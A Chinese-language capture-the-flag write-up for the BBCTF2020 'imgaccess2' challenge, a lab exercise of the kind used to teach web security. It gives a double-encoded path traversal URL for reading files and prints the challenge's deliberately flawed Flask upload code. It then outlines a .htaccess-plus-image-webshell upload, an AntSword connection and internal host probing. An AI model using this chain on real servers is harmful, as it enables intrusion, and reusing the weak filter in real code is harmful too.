[BBCTF2020]imgaccess2
解题步骤
参照y1ng大佬的wp:https://www.gem-love.com/ctf/2254.html
复现一下步骤。
随便上传一个图片,然后生成文件夹,然后进入该文件夹。根据wp可以进行二次编码进行任意文件读取:http://ac65303f-0b3d-4e47-a1ea-8fe0e3d6c7a8.node4.buuoj.cn:81/uploads/..%252F%252Fapp.py
读取源码:
from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.mkdir(app.config['UPLOAD_FOLDER'])
def secure_filename(filename):
return re.sub(r"(\.\.|/)", "", filename)
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route("/")
def index():
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
caption = request.form["caption"]
file = request.files["image"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not allowed_file(file.filename):
flash('Please upload images only.')
return redirect("/")
else:
if not request.headers.get("X-Real-IP"):
ip = request.remote_addr
else:
ip = request.headers.get("X-Real-IP")
dirname = md5(ip.encode()).hexdigest()
filename = secure_filename(file.filename)
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html", path = os.path.join(dirname, filename))
@app.route("/view/<path:path>")
def view(path):
return render_template("view.html", path = path)
@app.route("/uploads/<path:path>")
def uploads(path):
# TODO(noob):
# zevtnax told me use apache for static files. I've
# already configured it to serve /uploads_apache but it
# still needs testing. I'm a security noob anyways.
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
if __name__ == "__main__":
app.run(port=5000)
最后那里给了提示,在/uploads_apache下配置有apache环境。然后白名单还包含有s
文件后缀。
根据secure_filename
函数的代码:
def secure_filename(filename):
return re.sub(r"(\.\.|/)", "", filename)
将../替换为空,那么我们就可以构造.htaccess
文件:
然后就可以上传图片马getshell:
蚁剑连接,发现没有flag文件,寄了。看了其他人的wp,才知道需要获取内网主机的flag。见鬼的是,
/etc/hosts
没有内网主机地址,然后ifconfig可以看到主机地址:md,需要一个个找主机看看哪个开放1337端口?(害怕buu的429就只好手撸了一波,运气比较好,第三个就是)
html文件提示有flag.txt,直接wget下来: